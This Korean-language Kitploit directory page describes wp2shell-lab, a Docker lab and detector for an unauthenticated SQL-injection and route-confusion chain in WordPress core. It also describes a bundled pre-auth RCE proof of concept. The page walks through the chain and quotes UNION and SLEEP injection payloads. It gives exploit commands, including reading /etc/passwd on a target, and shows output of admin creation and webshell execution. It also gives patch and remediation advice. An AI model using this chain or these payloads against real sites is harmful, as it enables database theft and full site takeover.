Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
wp2shell-lab — WordPress 코어 6.9.0-6.9.4 / 7.0.0-7.0.1에서 wp2shell(CVE-2026-63030 REST /batch/v1 라우트 혼동 + CVE-2026-60137 author__not_in SQLi)을 위한 비파괴적 탐지기 + Docker 랩 | Kitploit
도구/GitHubGitHub/dinosn/wp2shell-lab
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdinosn/wp2shell-lab

wp2shell-lab

WordPress 코어 6.9.0-6.9.4 / 7.0.0-7.0.1에서 wp2shell(CVE-2026-63030 REST /batch/v1 라우트 혼동 + CVE-2026-60137 author__not_in SQLi)을 위한 비파괴적 탐지기 + Docker 랩

저장소 보기
541729일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

wp2shell 랩 & 탐지기 + 사전 인증 RCE PoC

wp2shell — WordPress 코어의 사전 인증 취약점 체인 — 을 위한 자체 완비형 랩, 비파괴 탐지기, 그리고 **전체 사전 인증 RCE PoC(proof-of-concept)**입니다:

CVEComponentClassCVSS
CVE-2026-60137WP_Query::author__not_inSQL 인젝션 (CWE-89)9.1
CVE-2026-63030REST /batch/v1 라우트 혼동해석 충돌 (CWE-436) → RCE로 연결됨7.5

영향 범위: WordPress 코어 6.9.0–6.9.4 및 7.0.0–7.0.1 (SQLi 싱크만으로는 6.8.0–6.8.5에도 영향). 6.8.6 / 6.9.5 / 7.0.2에서 수정됨. Adam Kues(Assetnote / Searchlight Cyber)가 보고했으며, SQLi는 TF1T, dtro, haongo에게도 공로가 인정됩니다. 기본 구성(stock-default) RCE 체인(oEmbed → changeset → re-entry)은 Mustafa Can İPEKÇİ(nukedx)가 작성했습니다.

먼저 업데이트하세요. WordPress는 이 취약점에 대해 강제 자동 업데이트를 배포했습니다. 이 저장소는 여러분이 자신의 시스템이 패치되었는지 확인하고 버그를 이해하도록 돕기 위한 것이지, 누군가를 공격하기 위한 것이 아닙니다. SECURITY.md를 참조하세요.


실제로 무엇인가

항상 성립하는 프리미티브는 인증 없이(unauthenticated), 플러그인 없이, 기본 코어(stock-core)에서 동작하는 SQL 인젝션으로, 데이터베이스 전체 읽기(관리자 비밀번호 해시, wp_options/wp_users의 모든 데이터)를 가능하게 합니다. 이것만으로도 CVSS 9.1과 즉각적인 패치가 정당화됩니다.

RCE는 실제이며 기본 구성(stock-default) WordPress에서 동작합니다 — FILE 권한, 영구 객체 캐시, 플러그인, 잘못된 구성이 전혀 필요 없습니다. 이 체인은 읽기 전용 SQLi를 행 위조(row-forgery) 프리미티브로 사용하며(UNION ALL SELECT가 가짜 wp_posts 행을 주입), 이후 WordPress 자체의 콘텐츠 렌더링 파이프라인을 활용해 oEmbed 캐싱을 통해 위조된 행을 실제 데이터베이스 쓰기로 변환합니다. 여기서부터 changeset 승격과 재진입(re-entrant) parse_request가 관리자 컨텍스트에서 실행되어 새 관리자 계정을 생성합니다 — 모두 단일한 인증 없는 HTTP 요청 하나로 이루어집니다.

전체 체인 (자격 증명 없음, 단일 진입점 POST /?rest_route=/batch/v1)

root@kitploit:~
1. Route confusion    — double-nested batch desyncs $matches/$validation so a GET
                        /wp/v2/widgets runs under posts::get_items() (public), reaching
                        WP_Query's author__not_in with attacker-controlled input.

2. Row forgery        — author__not_in is string-concatenated into SQL;
                        "1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
                        WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
                        treats -1 as "no limit" → empty $limits → split=false →
                        full SELECT wp_posts.* → UNION columns match).

3. oEmbed write       — forged posts carry [embed]<self-url>[/embed]; rendering via
                        context=view makes WordPress cache real oembed_cache posts in
                        the DB (turns read-only SQLi into writes with predictable IDs).

4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
                        forged post_type=request row with parent loops drives an
                        in-process re-entrant parse_request in admin context.

5. Admin creation     — POST /wp/v2/users in the same batch passes
                        current_user_can('create_users') → new administrator.

6. RCE                — login → plugin webshell upload → command execution → cleanup.

핵심 가젯 (체인이 성립하는 이유)

새로움은 *조합(composition)*에 있지 단일 버그에 있는 것이 아닙니다 — 개별 가젯은 정당한 WordPress 동작입니다. (Adam Kues의 분석에 따라) 이름을 붙여두면 exploit()의 위조 행 그래프를 읽기 쉽게 만들고, 진입점이 패치된 후 재감사해야 할 부분을 표시해 줍니다:

  • 캐시/DB 조정(reconciliation) — 메모리 내 캐시된 포스트가 DB 행과 일치하지 않으면 WordPress는 wp_update_post()를 통해 조정하며 메모리 내 post_type/post_status를 우선합니다. 그 결과 oembed_cache 행이 실제 post/customize_changeset으로 재유형화(re-typed)될 수 있습니다.
  • post_content를 보존하는 사이클 감지(cycle-detection) — wp_insert_post_parent 필터가 부모 체인을 순회합니다. 사이클이 감지되면 post_content를 덮어쓰지 않고 부모를 수정하는 두 번째 wp_update_post()를 호출합니다. 이것이 핵심 연결고리입니다: 위조된 changeset의 악의적인 post_content가 살아남을 수 있게 해줍니다. (그래서 위조 행이 자기 자신/상호 부모 루프를 사용하는 이유가 여기 있습니다.)
  • parse_request를 통한 훅 재생(hook replay) — 포스트를 발행하면 do_action("{$status}_{$type}")가 실행됩니다. / 인 위조 행은 를 트리거하여, changeset이 가정한 관리자 신원()이 유지되는 동안 배치 파이프라인을 다시 실행합니다.

이러한 가젯은 패치된 WordPress에도 여전히 존재합니다 — 닫힌 것은 두 진입점(배치 역동기화 + author__not_in 스칼라 우회)뿐입니다. 메모리 내 포스트 캐시를 위조하거나 oembed_cache 행을 쓰는 새로운 프리미티브가 발견되면 동일한 관리자 탈취 후반부(admin-takeover tail)가 다시 활성화될 수 있습니다.

렌더링 시점 쓰기 프리미티브

네 가지 렌더링 시점 쓰기 프리미티브가 모두 7.0.1을 대상으로 실측 확인되었습니다 — 각각 인증 없는 포스트로 위조되고, 배치 혼동(batch confusion)을 통해 렌더링되며, 결과적인 DB 쓰기는 블라인드 SQLi로 검증되었습니다:

각 결과가 입증하는 것:

  • oembed — 기준 프리미티브입니다: 공격자가 예측할 수 있는 slug(md5(url+serialize(attrs)))와 실제 자동 증가(auto-increment) ID를 가진 새로운 wp_posts 행을 만듭니다. 이는 여러 개의, 요청 시 생성되는(on-demand), 공격자가 이름을 지정한 포스트 행을 제공하는 유일한 방식이라서, RCE 체인이 위조된 changeset/request 그래프를 뒷받침하는 데 사용합니다.
  • rss — 가장 강력한 일반적인 쓰기입니다: 키 _site_transient_feed_<md5(url)>가 완전히 예측 가능하며, 저장되는 바이트는 공격자의 URL이 서빙하는 피드 본문입니다 — 즉 공격자가 키와 값 모두를 제어합니다. wp_options 쓰기(post ID 없음)이므로 changeset 백킹을 대체하는(drop-in) 방식이 아니라 옵션 오염(option-poisoning) 프리미티브입니다.
  • navigation — 인증 없이 "렌더링이 실제 포스트 행을 생성"하는 유일한 또 다른 경로입니다. 고정 slug를 가지며 단발성(single-shot)입니다(발행된 wp_navigation이 하나라도 있으면 건너뜀). 따라서 oEmbed의 N개 행과 달리 최대 하나의 위조 객체만 뒷받침할 수 있습니다.
  • calendar — 렌더링→update_option 경로가 인증 없이 실행됨을 확인하지만, 옵션 이름과 그 '1'/'0' 값은 고정/DB 기반입니다. 따라서 키나 값에 대한 공격자 제어 없이 "쓰기가 발생함"을 보여주는 데모입니다.

이전의 조건부 체인 (위의 기본 구성 체인으로 대체됨)

  • INTO OUTFILE 웹셸: WordPress DB 사용자가 전역 FILE 권한을 보유하고, 웹에서 접근 가능한 secure_file_priv가 설정되어 있으며, 드롭(drop) 디렉터리를 웹 사용자가 읽을 수 있어야 합니다. 일반/관리형 호스트에서는 어느 것도 성립하지 않습니다.
  • SimplePie → WP_HTML_Token POP: call_user_func('wp_insert_user', user_data_array) — gc_enabled()=false와 유효한 HMAC(정확한 직렬화 바이트에 대한 wp_hash, wp-config.php 시크릿 필요)가 필요합니다.

빠른 시작

요구 사항: Docker + Docker Compose v2, Python 3.8+ (표준 라이브러리만), make, curl.

root@kitploit:~
make up          # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check       # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof       # -> also reads @@version and current_user() as read-only evidence
make exploit     # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched     # rebuild on the fixed image and re-check -> [not vulnerable]
make down        # tear down (removes volumes)

포트는 WP_PORT=8100 make up으로 변경할 수 있습니다.

패치된 이미지에 대한 참고: 공식 Docker wordpress 이미지는 WordPress 코어 보안 릴리스보다 하루 이틀 늦게 배포됩니다. make patched가 wordpress:7.0.2가 아직 Docker Hub에 없다고 보고하면, 나중에 다시 시도하거나 게시된 수정 태그를 지정하세요: make patched WP_PATCHED_TAG=6.9.5 (또는 7.0.2 / 6.8.6). WordPress ≥ 6.9.5 / 7.0.2 / 6.8.6이면 not vulnerable을 반환합니다.

예상 출력

root@kitploit:~
$ make check
[VULNERABLE] http://localhost:8093  (WordPress 6.9.4, affected-full-chain)  [active=fired | method=boolean rows(true/false)=5/0 via x-wp-total | delivery=json | slot=users]
        confirmed: unauthenticated SQL injection
        rce: reachable on stock config; additionally requires no persistent object cache (not verified remotely -- the RCE PoC preflights it before writing)

$ make exploit
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [5, 6, 7]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!...  ([email protected])
[*] logging in, deploying webshell, executing command ...
[+] vulnerable (unauth SQLi confirmed: method=boolean slot=users delivery=json)
[+] RCE output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ make patched
[not vulnerable] http://localhost:8093  (WordPress 7.0.2, outside-affected-range)  [active=negative | method=time fast=0.01s slow=0.01s delta=-0.00s | delivery=json | slot=users]

도구 (wp2shell_check.py)

표준 라이브러리만 사용하며, 의존성이 없습니다.

탐지 (기본)

**비파괴적(non-destructive)**이며, 세 가지 독립적인 축에서 자동 폴백을 지원하므로 단일 경로가 차단되어도 위음성(false negative)으로 판정되지 않습니다:

  • oracle — 먼저 빠른 불리언 행 수 차분(boolean row-count differential) 기법을 사용합니다(주입된 WHERE의 true/false를 뒤집어 혼동된 posts 쿼리의 X-WP-Total이 붕괴하는지 관찰, SLEEP 없음). 이것이 발화하지 않으면 시간 기반 SLEEP 차분을 사용합니다. SLEEP는 파생 테이블 — (SELECT 1 FROM (SELECT SLEEP(n))x) —로 감싸서 행 수와 관계없이 한 번만 평가됩니다 (일부 관리형 호스트에서는 단순 SLEEP()가 최적화되어 제거되며 위음성으로 읽힐 수 있습니다).
  • delivery — 먼저 배치 라우트로 JSON POST를 보냅니다. 엣지에서 /wp-json을 차단하면 POST /에 대한 rest_route=/batch/v1 멀티파트 폼(운영자가 실제로 사용하는 요청 형태)을 사용합니다.
  • slot — 변조된 요청을 먼저 **/wp/v2/users**에 대해 검증합니다. 해당 엔드포인트가 인증 없는 호출자에게 비활성화된 경우(Disable-REST-API 플러그인, 사용자 열거 하드닝), 보편적인 /wp/v2/posts/<id> 항목 엔드포인트로 폴백합니다.

이 중 어느 것도 데이터를 읽거나 상태를 변경하지 않습니다. --proof는 제한된(bounded) 블라인드 읽기를 통해 @@version과 current_user()만 읽습니다. 민감한 데이터를 추출하거나 코드 실행을 시도하지 않습니다.

root@kitploit:~
python3 wp2shell_check.py https://your-site.example --authorized
python3 wp2shell_check.py -f assets.txt --authorized -t 20 --json > results.json
python3 wp2shell_check.py http://127.0.0.1:8093 --proxy http://127.0.0.1:8080

사전 인증 RCE (-c COMMAND)

전체 악용 체인: 탐지 → 행 위조 사전 점검(row-forgery preflight) → oEmbed 캐시 시딩 → 인밴드(in-band) UNION 추출 → changeset 승격 → 재진입 parse_request → 관리자 생성 → 로그인 → 플러그인 웹셸 → 실행 → 자체 정리(self-cleanup). 기본 구성(stock-default) WordPress에서 동작합니다 — FILE 권한, 영구 객체 캐시, 플러그인이 필요 없습니다.

root@kitploit:~
python3 wp2shell_check.py http://127.0.0.1:8093 -c "id"
python3 wp2shell_check.py https://target.example -c "cat /etc/passwd" --authorized
  • 쓰기 전 사전 점검(Preflight). 체인이 무엇이든 쓰기 전에 단일 인밴드 UNION 에코로 per_page=-1 split_the_query 우회가 이 대상에서 동작하는지 확인합니다. 영구 객체 캐시(Redis/Memcached — 관리형 호스트에서 흔함)는 split_the_query를 강제하여 행 위조를 차단합니다: 도구는 이를 정확히 보고하며(SQLi는 여전히 존재하고 RCE만 차단됨), 고아가 된 oembed_cache 행을 남기지 않습니다.
  • 인밴드 추출(In-band extraction). 테이블 접두사, 관리자 ID, 시딩된 캐시 ID를 바이트 단위 블라인드 SLEEP 사다리 대신 혼동된 posts 응답에서 직접 읽습니다(각각 요청 1회). 요청 수가 약 50~100배 적어 WAF/속도 제한 노출이 훨씬 적습니다. 인밴드 읽기가 필터링되는 경우 블라인드 oracle이 자동 폴백으로 남습니다.
  • 웹셸 플러그인은 한 번 사용 후 자체 파괴(self-destruct)됩니다(자신의 파일을 비활성화하고 삭제).

옵션

-c CMD(사전 인증 RCE), --proof(읽기 전용 증거), -f FILE(배치 스캔), -t/--threads N(동시 워커, 기본 10), --method auto|boolean|time, --delivery auto|json|multipart(--multipart 별칭), --slot auto|users|posts-item, --sleep N(주입 지연, 기본 4), --rounds N(N회 프로브의 중앙값), --route auto|rest-route|wp-json, --timeout N, --proxy URL, --json, --authorized.

상태 값

  • vulnerable — 인젝션을 통해 활성(active) 확인됨(배치 혼동, 6.9.0–7.0.1). 활성 oracle이 입증하는 것은 인증 없는 SQL 인젝션입니다. 사전 인증 RCE는 기본 설치에서 여기로부터 도달 가능하지만 추가로 영구 객체 캐시가 없어야 합니다(원격으로 검증할 수 없는 전제 조건 — RCE PoC는 쓰기 전에 사전 점검을 수행). 출력은 이 구분을 명시적으로 표시합니다(confirmed: / rce: 줄).
  • affected_version — 지문(fingerprint)으로 식별된 버전이 영향 범위에 속하지만 활성 검사가 발화하지 않음(6.8.0–6.8.5는 SQLi 싱크가 있지만 혼동은 없음; 또는 WAF가 프로브를 차단함).
  • not_vulnerable — 활성 검사가 음성이고 버전이 영향 범위 밖.

종료 코드: 0 = 주의 필요, 1 = 취약하지 않음, 2 = 오류.

견고성: POST 본문을 유지하면서 리다이렉트를 따르고, 호스트를 처음에 한 번 정규화(canonicalize)하며, TLS 오류를 무시합니다(curl -k).


해결 방법(Remediation)

  • WordPress 6.9.5 / 7.0.2(또는 6.8 브랜치는 6.8.6)로 패치하세요.
  • 즉시 패치할 수 없다면 엣지에서 /wp-json/batch/v1 과 ?rest_route=/batch/v1 모두 차단하세요 — 예쁜 경로(pretty path)에만 규칙을 적용하면 쿼리 문자열 라우트가 열린 채로 남습니다 — 또는 rest_pre_dispatch 필터를 통해 배치 라우트에 인증을 요구하세요.

크레딧

  • 라우트 혼동 + SQLi: Adam Kues (Assetnote / Searchlight Cyber)
  • 기본 구성 RCE 체인 (oEmbed → changeset → re-entry): Mustafa Can İPEKÇİ (nukedx)
  • SQLi (CVE-2026-60137): TF1T, dtro, haongo에게도 공로 인정

참고 자료

  • Searchlight Cyber / Assetnote — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • mcipekci RCE gist — https://gist.github.com/mcipekci/2b5027f965153d8058bbcfd63006ef79
  • WordPress 7.0.2 릴리스 — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
  • 보안 권고(Advisories): GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf

라이선스

MIT — LICENSE 참조.

도구 다운로드
post_status=parse
post_type=request
parse_request
wp_set_current_user
프리미티브트리거 마크업싱크예측 식별자검증 결과
oembed[embed]<url>[/embed]wp_posts 행 (oembed_cache)post_name = md5(url+attrs)post ID 생성됨
rsswp:rss {feedURL}wp_options 사이트 임시값(site-transient)_site_transient_feed_<md5(url)>option_id, 5192 B 캐시됨
navigationwp:navigationwp_posts 행 (wp_navigation)post_name = 'navigation' (고정)ID 생성됨, slug navigation
calendarwp:calendarwp_optionswp_calendar_block_has_published_postsoption_id, 값 '1'